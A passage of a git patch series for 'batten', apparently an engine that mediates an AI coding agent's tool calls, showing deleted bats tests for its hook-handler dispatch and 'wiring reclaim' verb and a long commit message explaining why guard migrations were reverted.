CLOUD-312 ROW 4, and CLOUD-312's own differential -# obligation: the retiring registration's fixtures replay through the door before -# the registration is deleted. `tests/run-shape-guard.bats` runs the script -# directly, which cannot answer the question that actually broke the previous -# migration — whether the ENGINE can consume what this script produces. -# -# It broke exactly once and silently: `connector-allow-guard` went behind the -# door still writing `hookSpecificOutput` on stdout, which is -# `Violation::ImpersonatedHost` — reported and never forwarded — so every verdict -# it produced was discarded for the life of the migration and no suite noticed. -# This file is the row that would have. -# -# THE FIXTURE REPOSITORY CARRIES ONE HANDLER ROW AND NO `[[rule]]` AT ALL. That -# isolation is the whole design: `verdict-not-discarded` and the other mediated -# rows in the real `batten.toml` refuse commands in this same family, so driving -# the real config would let an engine row's verdict stand in for the handler's — -# which is the substitution that hid the defect the first time. - -setup() { - BIN="" - for candidate in \ - "${BATTEN_BIN:-}" \ - "$BATS_TEST_DIRNAME/../target/release/batten" \ - "$BATS_TEST_DIRNAME/../target/debug/batten"; do - [ -n "$candidate" ] && [ -x "$candidate" ] || continue - BIN="$candidate" - break - done - [ -n "$BIN" ] || BIN="$(command -v batten || true)" - [ -n "$BIN" ] || skip "no batten binary to drive" - - REPO="$BATS_TEST_TMPDIR/repo" - mkdir -p "$REPO/mise-tasks" - # Copied from the suite's own tree, so `mise run mutant` reaches this tier: - # under `mutant` that tree is the mutated one. - cp "$BATS_TEST_DIRNAME/../mise-tasks/run-shape-guard.sh" "$REPO/mise-tasks/" - cp "$BATS_TEST_DIRNAME/../mise-tasks/payload-field.sh" "$REPO/mise-tasks/" - # The guard resolves `mise.toml` beside itself for the cargo family. An empty - # one keeps that arm defined and silent; the cargo family's own corpus stays - # in the direct suite, where a fixture `mise.toml` is what it is testing. - printf '[tools]\n' >"$REPO/mise.toml" - - { - echo "version = 1" - echo - echo "[[hook.handler]]" - echo 'id = "run-shape-guard"' - echo 'on = "pre-tool"' - echo 'run = ["mise-tasks/run-shape-guard.sh"]' - echo 'matcher = "Bash"' - echo "timeout_ms = 8000" - echo 'owner = "CLOUD-613"' - echo 'expires = "2027-02-28"' - } >"$REPO/batten.toml" - GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" - - # `payload-field` resolves the real binary, so the guard reads the two fields - # it depends on rather than failing open on every call — which is how a suite - # reports every deny row red and every mutation aimed at one "already caught". - export BATTEN_BIN="$BIN" -} - -# Called DIRECTLY, never through `run`: `run` executes in a subshell, so these -# two assignments would be discarded and every negative assertion below would -# compare an empty string and pass. -door() { # door [run_in_background] - local envelope - if [ -n "${2:-}" ]; then - envelope=$(jq -nc --arg c "$1" '{hook_event_name:"PreToolUse",tool_name:"Bash",tool_input:{command:$c,run_in_background:true}}') - else - envelope=$(jq -nc --arg c "$1" '{hook_event_name:"PreToolUse",tool_name:"Bash",tool_input:{command:$c}}') - fi - ( - cd "$REPO" || exit 1 - printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ - >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" - ) - DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") - DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") -} - -denied() { [[ "$DOOR_OUT" == *'"permissionDecision":"deny"'* ]]; } -allowed() { [[ "$DOOR_OUT" != *'"deny"'* ]]; } -# Nothing the door reports about the handler ITSELF — which is different from -# "the handler said nothing", and is the distinction this whole file exists for. -unbroken() { [[ "$DOOR_ERR" != *"hook.handler run-shape-guard:"* ]]; } - -@test "THE MEASURED DEFECT: no host document the handler wrote is forwarded" { - door 'cd /tmp; sleep 90; git log --oneline -1' - [[ "$DOOR_ERR" != *"wrote a host decision document"* ]] - unbroken -} - -@test "a foreground sleep is refused THROUGH the door, and the reason travels" { - door 'cd /tmp; sleep 90; git log --oneline -1' - denied - # Attributed to the handler by the engine, which is the difference between a - # verdict that travelled and one the script printed to itself. - [[ "$DOOR_OUT" == *"hook.handler.run-shape-guard"* ]] - [[ "$DOOR_OUT" == *foreground* ]] -} - -@test "a backgrounded timer is refused too, so the CALL's own fact reached it" { - # The load-bearing case for the migration. This predicate is over - # `run_in_background`, a property of the call rather than of the command - # string, and it is the one thing a reader would reasonably fear the extra hop - # loses. It does not: a handler receives the host's own payload. - door 'sleep 590; tail -6 /tmp/land.log' bg - denied - [[ "$DOOR_OUT" == *TIMER* ]] -} - -@test "a backgrounded wait on a condition stays allowed" { - # The half without which the row above proves nothing: a guard that refused - # every backgrounded sleep would satisfy it and be the false positive that - # gets a guard switched off (CLOUD-418). - door 'until [ -f /tmp/done ]; do sleep 1; done' bg - allowed - unbroken -} - -@test "a git commit that can never obtain a message is refused through the door" { - door "$(printf 'git add -A && git commit -F - >log 2>&1 && mise run land >l2 2>&1 <<%s\nmsg\n%s\n' "'EOF'" EOF)" - denied - [[ "$DOOR_OUT" == *'-F '* ]] -} - -@test "an ordinary command is none of this guard's business, and costs no verdict" { - door 'ls -la' - allowed - [ -z "$DOOR_ERR" ] -} - -@test "a non-Bash tool never reaches the handler at all" { - # `matcher` is the engine's narrowing, not the script's, so it is only - # assertable here. Without it this row costs a spawn on every mediated call. - local envelope - envelope='{"hook_event_name":"PreToolUse","tool_name":"Read","tool_input":{"file_path":"/tmp/x"}}' - ( - cd "$REPO" || exit 1 - printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ - >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" - ) - DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") - DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") - allowed - [ -z "$DOOR_ERR" ] -} - -@test "the impersonation detector is live behind this row, not merely defined" { - # THE POSITIVE CONTROL. Every negative row above is also satisfied by a - # handler that never ran, so one row makes this one write the host document on - # purpose and requires the door to name it. - cat >"$REPO/mise-tasks/run-shape-guard.sh" <<-'SH' - #!/usr/bin/env bash - printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"x"}}\n' - SH - chmod +x "$REPO/mise-tasks/run-shape-guard.sh" - door 'ls -la' - [[ "$DOOR_ERR" == *"hook.handler run-shape-guard: wrote a host decision document"* ]] - allowed -} - -@test "the bypass reaches the handler through the door" { - # A refusal whose bypass cannot be reached is not a remedy (§5). The engine - # passes the environment through, so the guard's own hatch still works from - # behind the door — which is not automatic and is worth one row. - local envelope - envelope=$(jq -nc '{hook_event_name:"PreToolUse",tool_name:"Bash",tool_input:{command:"cd /tmp; sleep 90; echo done"}}') - ( - cd "$REPO" || exit 1 - printf '%s' "$envelope" | BATTEN_RUN_SHAPE_BYPASS=1 "$BIN" hook --harness claude-code \ - >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" - ) - DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") - DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") - allowed - unbroken -} diff --git a/tests/wiring-reclaim.bats b/tests/wiring-reclaim.bats deleted file mode 100644 index d00177e7c..000000000 --- a/tests/wiring-reclaim.bats +++ /dev/null @@ -1,223 +0,0 @@ -#!/usr/bin/env bats -# subject: crates/batten/src/wiring.rs -# -# Paths only on that line: it is read as whitespace-separated paths, and it is -# what buys this file's deletion once they die. -# -# THE SECOND TIER for `batten wiring reclaim` (CLOUD-893). `wiring.rs`'s own unit -# cases pin `prune_siblings` against documents they build themselves, which is the -# `with input as` shape `.claude/rules/policy-modules.md` names: it fabricates the -# document the ENGINE may be unable to locate, so every one of them could pass -# over a verb that reads the wrong home directory, refuses without `-y` in the -# wrong direction, or writes the record after the repair instead of before. -# -# Those four are what this file asserts, over the compiled binary, against a real -# `$HOME` on disk. -# -# WHY A FIXTURE `$HOME` AND NOT THIS CONTAINER'S. The verb's whole subject is a -# file under the caller's home directory, and this container HAS one — with the -# two launcher-provisioned registrations CLOUD-605 owns still in it. A suite that -# drove the real one would repair the box it is measuring, exactly once, and every -# later run would assert over a state the first run destroyed. `etcetera` resolves -# from `$HOME`, so overriding it is the whole isolation. - -setup() { - BIN="" - for candidate in \ - "${BATTEN_BIN:-}" \ - "$BATS_TEST_DIRNAME/../target/release/batten" \ - "$BATS_TEST_DIRNAME/../target/debug/batten"; do - [ -n "$candidate" ] && [ -x "$candidate" ] || continue - BIN="$candidate" - break - done - [ -n "$BIN" ] || BIN="$(command -v batten || true)" - [ -n "$BIN" ] || skip "no batten binary to drive" - - REPO="$BATS_TEST_TMPDIR/repo" - mkdir -p "$REPO" - printf 'version = 1\n' >"$REPO/batten.toml" - GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" - - # The fixture home, carrying one merged surface with one batten registration - # and one sibling. `.claude/launcher-settings.json` is a path - # `Harness::merge_surfaces` declares, so this is the real selection rather than - # a name this file invented. - HOME_DIR="$BATS_TEST_TMPDIR/home" - mkdir -p "$HOME_DIR/.claude" - SURFACE="$HOME_DIR/.claude/launcher-settings.json" - cat >"$SURFACE" <<-'JSON' - { - "hooks": { - "SessionStart": [ - { - "hooks": [ - {"type": "command", "command": "batten hook --harness claude-code"}, - {"type": "command", "command": "/opt/launcher/session-start-git-identity.sh"} - ] - } - ], - "Stop": [ - {"hooks": [{"type": "command", "command": "/opt/launcher/stop-hook-git-check.sh"}]} - ] - } - } - JSON -} - -# Drive the verb with the fixture home, keeping the two streams apart: the -# arithmetic is on stderr (rule 4 — it is a count, and its subject is a filename -# off somebody's disk) and there is no stdout contract at all. -# -# The `if` is not style: bats runs each case under `set -e`, so a bare subshell -# that exits non-zero aborts the case before `$?` can be read — and every -# assertion below would then be reported as a helper failure rather than as the -# thing it was asserting. -reclaim() { # reclaim [args...] - if ( - cd "$REPO" || exit 1 - HOME="$HOME_DIR" "$BIN" wiring reclaim "$@" \ - >"$BATS_TEST_TMPDIR/out" 2>"$BATS_TEST_TMPDIR/err" - ); then - STATUS=0 - else - STATUS=$? - fi - OUT=$(cat "$BATS_TEST_TMPDIR/out") - ERR=$(cat "$BATS_TEST_TMPDIR/err") -} - -record() { printf '%s/.git/batten-wiring/at-load.json' "$REPO"; } - -@test "a destructive verb refuses without -y rather than prompting" { - # §4's refusal, and asserted over the FILE rather than over the exit status: a - # verb that refused and had already written is the failure that matters, and an - # exit code alone cannot tell that apart. - reclaim - [ "$STATUS" -eq 1 ] - [[ "$ERR" == *"pass -y"* ]] - [ ! -e "$(record)" ] - grep -q session-start-git-identity "$SURFACE" -} - -@test "-n reports what would go and writes neither the file nor the record" { - reclaim -n - [ "$STATUS" -eq 0 ] - [[ "$ERR" == *"would remove 2 sibling registration(s)"* ]] - # The per-event rows, which are what make the count actionable without naming - # a path. - [[ "$ERR" == *"claude-code:SessionStart would remove 1"* ]] - [[ "$ERR" == *"claude-code:Stop would remove 1"* ]] - [ ! -e "$(record)" ] - grep -q session-start-git-identity "$SURFACE" - grep -q stop-hook-git-check "$SURFACE" -} - -@test "THE REPAIR: the siblings go and batten's own registration stays" { - reclaim -y - [ "$STATUS" -eq 0 ] - [[ "$ERR" == *"removed 2 sibling registration(s)"* ]] - # The load-bearing positive. A `retain` on the wrong level takes batten's - # registration out with the sibling sharing its entry, and every negative - # assertion in this file is satisfied by that bug. - grep -q "batten hook --harness claude-code" "$SURFACE" - ! grep -q session-start-git-identity "$SURFACE" - ! grep -q stop-hook-git-check "$SURFACE" - # `Stop` held nothing else, so the event goes with its last entry rather than - # surviving as an empty array no generator emits. - run jq -r '.hooks | has("Stop")' "$SURFACE" - [ "$output" = "false" ] - run jq -r '.hooks.SessionStart[0].hooks | length' "$SURFACE" - [ "$output" = "1" ] -} - -@test "RECORD BEFORE REPAIR: the record carries the pre-repair count" { - reclaim -y - [ -e "$(record)" ] - run jq -r '[.rows[].siblings] | add' "$(record)" - [ "$output" = "2" ] - # Rule 4 on the record itself. It is under `$GIT_DIR` and never committed, and - # it still carries no path and no filename: the harness and the event are where - # to look, and a basename would be a name off somebody's disk bought for a - # nicer message. - ! grep -q "$HOME_DIR" "$(record)" - ! grep -q launcher "$(record)" - ! grep -q git-identity "$(record)" - ! grep -q "/" "$(record)" -} - -@test "the record is written ONCE, so a second run cannot report the repair" { - reclaim -y - [[ "$ERR" == *"removed 2 sibling"* ]] - # The whole ordering property. A second reclaim finds nothing — and must not - # overwrite a record that says 2 with one that says 0, because the record - # describes what the RUNNING session loaded and the running session has not - # changed. - reclaim -y - [[ "$ERR" == *"removed 0 sibling"* ]] - run jq -r '[.rows[].siblings] | add' "$(record)" - [ "$output" = "2" ] -} - -@test "doctor hooks reports the record beside the live count" { - # The two numbers that must be able to disagree. Before the repair there is no - # record — `null`, which is read-the-disk — and after it the disk says zero - # while the record says two. - run env HOME="$HOME_DIR" bash -c "cd '$REPO' && '$BIN' doctor hooks -J" - [[ "$output" == *'"at_load_siblings": null'* ]] - reclaim -y - run env HOME="$HOME_DIR" bash -c "cd '$REPO' && '$BIN' doctor hooks -J" - [[ "$output" == *'"at_load_siblings": 2'* ]] - # And the live half genuinely fell, or the two numbers would agree for the - # wrong reason. - run env HOME="$HOME_DIR" bash -c "cd '$REPO' && '$BIN' doctor hooks -J | jq '[.harnesses[].merged_siblings] | add'" - [ "$output" = "0" ] -} - -@test "a SessionStart expires the record, which is the restart this reports" { - reclaim -y - [ -e "$(record)" ] - # The one moment the disk and what a harness has loaded are the same thing, and - # therefore the only honest place to drop the record. Driven through the real - # hook entry point rather than by deleting the file, because what is being - # asserted is that the engine does it. - run env HOME="$HOME_DIR" bash -c \ - "cd '$REPO' && printf '%s' '{\"hook_event_name\":\"SessionStart\"}' | '$BIN' hook --harness claude-code" - [ ! -e "$(record)" ] -} - -@test "a merged surface that is not a wiring file is left alone, not rewritten" { - # Could-not-look, and the direction matters: a document this verb cannot read - # as a hook map is one it must not write back, or a repair would silently - # reformat a file whose shape it never understood. - printf '[]\n' >"$SURFACE" - reclaim -y - [ "$STATUS" -eq 0 ] - [ "$(cat "$SURFACE")" = "[]" ] - [[ "$ERR" == *"0 surface(s) read"* ]] -} - -@test "a checkout sitting AT the home directory is never its own merged surface" { - # The `same_file` arm, driven by the collision its comment describes: every - # path `merge_surfaces` declares is resolved against BOTH the home directory - # and the repository, so a checkout that sits at `$HOME` resolves each of them - # to one file. Without the arm this verb would rewrite a version-controlled - # file and fight `tree-clean` on every run. - # - # Note what that means and what this therefore asserts: the collision is TOTAL - # here, not partial. The launcher surface deduplicates for exactly the same - # reason the settings one does, so the honest expectation is zero surfaces read - # and not one — the first draft of this case asserted the launcher file was - # still reclaimed, which was a wrong premise rather than a bug. - cp "$SURFACE" "$HOME_DIR/.claude/settings.json" - run env HOME="$HOME_DIR" bash -c \ - "cd '$HOME_DIR' && git init -q -b main . && cp '$REPO/batten.toml' . && '$BIN' wiring reclaim -y" - [ "$status" -eq 0 ] - [[ "$output" == *"0 surface(s) read"* ]] - # Untouched, both of them — which is the whole claim. That this is not simply - # "the verb never works" is what the cases above establish, over the same - # binary and a home directory the repository does not sit in. - grep -q session-start-git-identity "$HOME_DIR/.claude/settings.json" - grep -q session-start-git-identity "$SURFACE" - grep -q stop-hook-git-check "$SURFACE" -} From 4ca16c74c3fe0e5c8123878c60ec8103eb109786 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 21:31:57 +0000 Subject: [PATCH 16/27] revert(hook): the guards this branch cannot retire, it does not touch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `batten check --rule shell-retirement` reported 8 `V-SHELL-RULE-EDITED` findings on this branch, and that verdict declares no override route and no `bypass_env`. The disposition is the ratchet's own: a governed file is RETIRED into Rego or Rust, or it is left alone. Neither half of that admits an edit, and this branch was making them. WHAT THE 8 FINDINGS CONTAINED, measured before deciding: file +/- forced prose mise-tasks/run-shape-guard.sh 28/16 8 36 mise-tasks/connector-allow-guard.sh 59/19 18 60 mise-tasks/hooks-wiring-check.sh 112/14 ~3 ~103 tests/run-shape-guard.bats 54/39 ~82 ~11 tests/run-shape-guard-quoting.bats 10/1 2 9 tests/connector-allow-guard.bats 50/14 ~26 ~38 tests/hooks-wiring-check.bats 128/17 0 ~92 tests/session-start.bats 91/6 ~19 ~28 44 of ~626 changed lines were forced by the door; ~335 were comment prose about the new architecture. `tests/hooks-wiring-check.bats` had no door coupling at all. THE ONE FORCED CHANGE, AND WHY IT CANNOT BE MADE HERE. A dispatched handler's stdout is INTERPRETED: `handler::impersonates_host` reads a `hookSpecificOutput` document before the exit code and returns `Broke(ImpersonatedHost)`, which allows. So a guard behind the door must deny as exit 2 with the reason on stderr. That is an edit, and an edit is admitted only for a file being retired — which none of these three can be: run-shape-guard three of four families now live in `policy/run-shape.rego`; the fourth reads `mise.toml`, and `call_document` projects `Fact::Document` as `None` while `sources` on a `mediated_call` row is refused at load. CLOUD-856. connector-allow-guard reads `/tmp/mcp-config-cse_*.json` per call. A Rego module opens no file (`Authority::Supplied`); a Rust port would carry one consumer's layout into the core (rule 1). hooks-wiring-check reads `$HOME`. No fact projects a path outside the repo root — `select_declared` intersects against the tracked working-tree walk. THE ADMITTED EDIT DOES NOT APPLY, and it was checked rather than assumed. `only_drops_a_retired_reference` exists for `hooks-wiring-check.sh`'s own table, but it requires every removed line to name a path in `delta.deleted`. This branch deletes none of the three guards — all three are `M`. SO THE TWO DOOR MOVES ARE DEFERRED. `run-shape-guard` and `session-start` keep their native registrations, byte-identical, and move behind the door in the change that retires them. `[hook] exclusive` ships UNDECLARED: the flag is global rather than per-event, so declaring it obliges every remaining registration through the door at once, and two of them cannot go. A consumer with no unretired registrations can declare it today; this one waits rather than editing bash to qualify. WHAT STILL LANDS is the whole capability, all of it Rust: `handler.rs`'s door, `wiring.rs` and `batten wiring reclaim`, `doctor.rs`'s merged census and the `exclusive` capability, and three compiled-binary test tiers that write their own stub guards into fixtures and so exercise the door rather than any real guard. THREE STALE CLAIMS GO WITH THE REVERT, each false against the tree: * `batten.toml` said `container-preflight`'s success line "now goes to stderr". It does not — `207577d` made that change and `f2e16c9` reverted it. * `preset_segments.rs` and `pointer_only.rs` cited two bats suites this branch deletes; both now name their Rust successors. * `pipeline_shapes.rs`'s cargo fixture was swapped to `cargo doc && cargo bench` because the dispatched handler denied the original. With the handler deferred that cause is gone, so the fixture returns to `cargo build && cargo test` rather than keeping a comment that explains a history the branch no longer has. AND ONE FINDING RECORDED RATHER THAN FIXED. `connector-allow-guard` is dispatched as a handler on `main` today and still writes a host document, so every verdict it computes is dropped — measured 2026-08-26, still true. Its own suite is green throughout, because a suite that never drives the real dispatch cannot see it. Only the ALLOW half is actually lost; its denies are covered by an unrelated engine row over the same tool, which is why it went unnoticed. The repair is one `case` in a governed file and the guard cannot be retired, so the row now records the state beside it and `preapproves` is left undeclared — it cannot fire while the document is dropped, and declaring it would assert a reach this row lacks. `shell-retirement` 0 findings · `config-lint` 0 smells · `hooks-wiring-check` green Refs: CLOUD-312, CLOUD-893, CLOUD-984, CLOUD-191, CLOUD-613, CLOUD-856, CLOUD-1059 --- .claude/settings.json | 17 +++ batten.toml | 186 ++++++++++--------------- crates/batten/tests/pipeline_shapes.rs | 20 +-- crates/batten/tests/pointer_only.rs | 3 +- crates/batten/tests/preset_segments.rs | 2 +- mise-tasks/connector-allow-guard.sh | 78 +++-------- mise-tasks/hooks-wiring-check.sh | 126 ++--------------- mise-tasks/run-shape-guard.sh | 44 +++--- tests/connector-allow-guard.bats | 64 ++------- tests/hooks-wiring-check.bats | 145 +++---------------- tests/run-shape-guard-quoting.bats | 11 +- tests/run-shape-guard.bats | 93 ++++++------- tests/session-start.bats | 97 +------------ 13 files changed, 223 insertions(+), 663 deletions(-) diff --git a/.claude/settings.json b/.claude/settings.json index a3a558590..66c2838ee 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -15,6 +15,15 @@ "command": "batten hook --harness claude-code" } ] + }, + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": "$CLAUDE_PROJECT_DIR/mise-tasks/run-shape-guard.sh" + } + ] } ], "PostToolUse": [ @@ -45,6 +54,14 @@ "command": "batten hook --harness claude-code" } ] + }, + { + "hooks": [ + { + "type": "command", + "command": "$CLAUDE_PROJECT_DIR/.claude/hooks/session-start.sh" + } + ] } ], "TaskCompleted": [ diff --git a/batten.toml b/batten.toml index ddca50dc5..d28c49ccf 100644 --- a/batten.toml +++ b/batten.toml @@ -3506,18 +3506,6 @@ rule = "tests-not-deleted" reason = "CLOUD-780 retires four `git.rs` primitives, the pileup predicate and the `worktree reclaim` verb, and every deleted case named a deleted symbol (1850 -> 1834): `git.rs`'s worktree-listing and snapshot cases, `worktree.rs`'s pileup and reclaim cases, and `tests/cli.rs`'s whole pileup block. Deleting them with their subject is the Ready block's own §7 obligation — weakening them instead would leave assertions about a surface that no longer exists. What must NOT fall is the coverage beside them, and it does not: `worktree status`'s four surviving categories keep every case green with no assertion change, which is what proves the drop was surgical." expires = "2026-09-13" -[[waiver]] -rule = "bats-tests-not-deleted" -path = "tests/hooks-wiring-check.bats" -reason = "CLOUD-893 renamed three cases whose meaning INVERTED; nothing was deleted — measured 36 `@test` before and 36 after, and the three names differ only in their verdict word. The ratchet matches on the case NAME, so a rename that stops the name lying is indistinguishable to it from a deletion, and neither of its arms fits: the subject did not die, so `retires_with` would be a false claim, and restoring the names would leave `a declared sibling passes` on a case asserting exit 1. Waived narrowly and briefly rather than blanket (CLOUD-807): the reduction is one file, one transition, and it stops firing once `main` carries the new names as its baseline." -expires = "2026-09-26" - -[[waiver]] -rule = "bats-tests-not-deleted" -path = "tests/stop-guard.bats" -reason = "The same one transition, one file down. CLOUD-312 row 9 moves this guard behind `batten hook`, where it prints advisory text instead of the host's `additionalContext` document — so two case names that described the document became false about the file rather than about the behaviour: `the kick declares the Stop event` now asserts that it declares NO host event, and `the kick is valid JSON on stdout` now asserts it is not JSON at all. Nothing was deleted; the file gains a case and this branch adds three whole suites beside it. Identical shape to the `hooks-wiring-check.bats` row above and waived on the same terms: the ratchet reads a case NAME, a rename that stops the name lying reads as a deletion, and it stops firing once `main` carries the new names as its baseline." -expires = "2026-09-26" - [ci] required_checks = ["final"] @@ -3716,29 +3704,27 @@ wiring = [".claude/settings.json"] # --------------------------------------------------------------------------- # What this repository attaches to hook events (house-style §9). # -# THIS REPOSITORY'S HOOK SURFACES ARE BATTEN'S ALONE (CLOUD-893). The decision it -# records is one sentence: the only hook batten may register natively into any -# harness is `batten hook` with its harness flags, and nothing else is registered -# beside it. A shell program that must remain is dispatched THROUGH the engine as -# a `[[hook.handler]]` below — behind the door rather than beside it — which is -# why declaring this refuses no handler. -# -# WHAT THIS REPLACES, AND WHY THE REPLACEMENT IS NOT THE SAME SHAPE. The gate -# read `hooks-wiring-check`'s `DECLARED` table, where every non-batten -# registration was listed against the issue that would retire it. That table was -# written as diligence and functioned as a permanent exemption: measured -# 2026-08-25, ten registrations, ten rows, `mise run hooks-wiring-check` exit 0 -# and `batten doctor hooks` `ok: true`. A declaration that SUPPRESSES a refusal -# and one that ADDS a refusal read alike in a config file and are opposites; §8's -# raise-only rule is what tells them apart, and only this one satisfies it. -# -# The engine reports a sibling COUNT unconditionally and refuses only under this -# flag, because whether a hook beside batten's is legitimate is a consumer's -# judgement and `crates/batten` may not hold one (non-negotiable rule 1). Here -# the answer is no, and this is where a consumer says so. -[hook] -exclusive = true - +# THE `exclusive` CAPABILITY LANDS HERE UNDECLARED, AND THAT IS THE DECISION +# (CLOUD-893). `[hook] exclusive = true` says the only hook batten may register +# natively into any harness is `batten hook`, with nothing beside it. The engine +# half is built: `HookConfig::exclusive` in `action.rs`, and `doctor.rs` reports a +# sibling COUNT unconditionally and refuses only under the flag — because whether +# a hook beside batten's is legitimate is a consumer's judgement and +# `crates/batten` may not hold one (non-negotiable rule 1). +# +# WHY CONSUMER #1 DOES NOT YET DECLARE IT. The flag is GLOBAL rather than +# per-event: `doctor.rs`'s committed-surface scan refuses any non-batten entry +# under ANY event key, in every harness file. So declaring it obliges every +# remaining shell registration to move behind the door in the same change — and a +# guard cannot go behind the door without changing how it denies, which +# `shell-retirement` refuses for a governed file that is edited rather than +# retired. Two of this repository's guards cannot be retired yet (`run-shape-guard` +# on CLOUD-856, `hooks-wiring-check` on the `$HOME` surface), so declaring the flag +# would force exactly the edits the ratchet exists to refuse. +# +# The capability is therefore shipped and unused, which is the honest state: a +# consumer with no unretired registrations can declare it today, and this one +# declares it when its last guard retires rather than by editing bash to qualify. # # THE FIRST HANDLER, AND IT IS A WORKED EXAMPLE (CLOUD-898). `[[hook.action]]` # shipped with one because a plugin surface nobody uses is a surface nobody has @@ -3831,34 +3817,34 @@ expires = "2027-02-28" # Halved, and the half that goes is the spawn. `mcp__*` calls still pay it, which is # the point — they are the calls this decides. # -# `preapproves` IS WHAT MAKES THE ALLOW ARM REACH ANYTHING, and it is the reason -# this row exists at all. The guard's deny arm always worked through the door — -# exit 2, reason on stderr, rendered by the engine. Its ALLOW arm did not: `hook.rs` -# encoded `deny` and `ask` and nothing else, and `AdvisoryReach` for this host lists -# `PostToolBatch`, `SessionStart` and `Stop` — not the pre-tool event — so the text -# landed on the engine's own stderr, transcript-only, and the approval prompt -# CLOUD-191 exists to remove came back. -# -# Measured: dispatched behind the door, this guard's deny document was reported as -# `hook.handler connector-allow-guard: wrote a host decision document` and dropped, -# and the refusal that reached the host came from an unrelated engine row that -# happens to cover the same tool. Every deny in the committed table is covered that -# way, which is why the loss was invisible until the allow half was looked at. -# -# The column is DECLARED here rather than encoded in the stream because §7's exit -# table has no fourth code to spend and stdout's shape is already spoken for by the -# impersonation check. And it grants nothing new: the reason is a projection of a -# rule already committed to `.claude/settings.json` onto whichever of a server's two -# names the host is exposing this session, and the boundary lets a grant upgrade -# only a decision that was already an allow — so no verdict any rule reached can be -# spent through here. +# THIS ROW IS DECIDING NOTHING TODAY, AND THAT IS RECORDED HERE RATHER THAN FIXED +# (measured 2026-08-26, still true on `main`). The guard writes its verdict as a +# `hookSpecificOutput` document on stdout and exits 0. Behind the door +# `handler::impersonates_host` reads that shape BEFORE the exit code, returns +# `Outcome::Broke(ImpersonatedHost)`, and every `Broke` variant ALLOWS — so the +# verdict is reported as a pointer and dropped. Its own bats suite is green +# throughout, because a suite that never drives the real dispatch cannot see it. +# +# What made the loss invisible: every deny in the committed table is also covered +# by an unrelated engine row over the same tool, so a refusal still reached the +# host — from somewhere else. Only the ALLOW half, which nothing else provides, is +# actually gone, and with it the approval prompt CLOUD-191 exists to remove. +# +# WHY IT IS NOT REPAIRED HERE. The fix is one `case` in the guard's `decide()`, +# and that is an EDIT to a governed file, which `shell-retirement` refuses unless +# the file is retired instead. It cannot be retired: it reads +# `/tmp/mcp-config-cse_*.json` per call — off-tree, per-session, unstable — which a +# Rego module may not do (`Authority::Supplied` opens no file), and a Rust port +# would carry one consumer's file layout and vocabulary into `crates/batten` +# against non-negotiable rule 1. So the repair needs a decision this PR does not +# own, and `preapproves` is left undeclared because it cannot fire while the +# document is dropped — declaring it would assert a reach this row does not have. [[hook.handler]] id = "connector-allow-guard" on = "pre-tool" run = ["mise-tasks/connector-allow-guard.sh"] matcher = "^mcp__" timeout_ms = 2000 -preapproves = true owner = "CLOUD-312" expires = "2027-02-28" @@ -4901,45 +4887,26 @@ that cannot refuse is off rather than passing. id = "R-PLACE-AT-LEAST-ONE-ADAPTER" kind = "document" target = "policy/spawn-adapters.rego" -# CLOUD-312 row 4: `run-shape-guard` retires from a direct `PreToolUse`/`Bash` -# registration to a handler under the same matcher. It is the FIRST migration -# here that the registration policy forces rather than merely prefers: `[hook] -# exclusive` above refuses any command beside `batten hook` on a declared -# surface, so this file either goes behind the door or stops running. -# -# ITS PREDICATES CANNOT BECOME ROWS, and that is why it is a handler rather than -# a retirement. Three families remain in it and each is blocked on a different -# thing: `run_in_background` is a property of the CALL and is not in -# `call_document` (CLOUD-613); the unsatisfiable-commit rule is over heredoc -# BINDING, which nothing in the engine models (CLOUD-613); and the cargo rule -# reads `mise.toml`'s task bodies, which no `mediated_call` kind may do, since -# none may spawn and a `shape` pattern is a literal (CLOUD-856). Going through -# the door changes none of that — the handler still receives the host's own -# payload, so the one fact the mediated envelope hides is still there to read. -# -# `matcher = "Bash"` IS THE SAME NARROWING IT ALREADY HAD, restated where the -# door can see it. Row 5's measurement above is the argument: unnarrowed on -# `pre-tool` this would double the mediated path on every call it is silent on. -# Exact, not a prefix — the tool name is a literal here, unlike `^mcp__`, whose -# prefix is that guard's own predicate. -# -# `timeout_ms` is MEASURED, and it is the largest bound in this table because the -# guard is the most expensive thing behind the door. 15 runs each, this -# container, through the script: an ordinary command is p50 43ms / max 48ms; a -# `cargo` command is p50 1625ms / max 1726ms, because that arm reads every -# declared task body out of `mise.toml` and compares argv. Deterministic, no -# network, bounded by a tracked file — so 8000 is ~4.6x the measured worst case -# rather than the two orders the cheap rows get, and saying that is better than -# quoting a ratio taken from a different shape of work. The cost is not new: this -# is what every `Bash` call has paid since CLOUD-822, registered natively. -[[hook.handler]] -id = "run-shape-guard" -on = "pre-tool" -run = ["mise-tasks/run-shape-guard.sh"] -matcher = "Bash" -timeout_ms = 8000 -owner = "CLOUD-613" -expires = "2027-02-28" + +# WHY `run-shape-guard` IS NOT A HANDLER ROW HERE, AND WHY THAT IS THE RATCHET +# WORKING (CLOUD-312 row 4, deferred). +# +# Going behind the door is not a config move: a dispatched handler's stdout is +# INTERPRETED, so `handler::impersonates_host` reads this guard's +# `hookSpecificOutput` deny document and drops it before the exit code is read. +# The guard would have to deny as exit 2 with the reason on stderr — an EDIT to a +# governed file, which `shell-retirement` refuses unless the file is 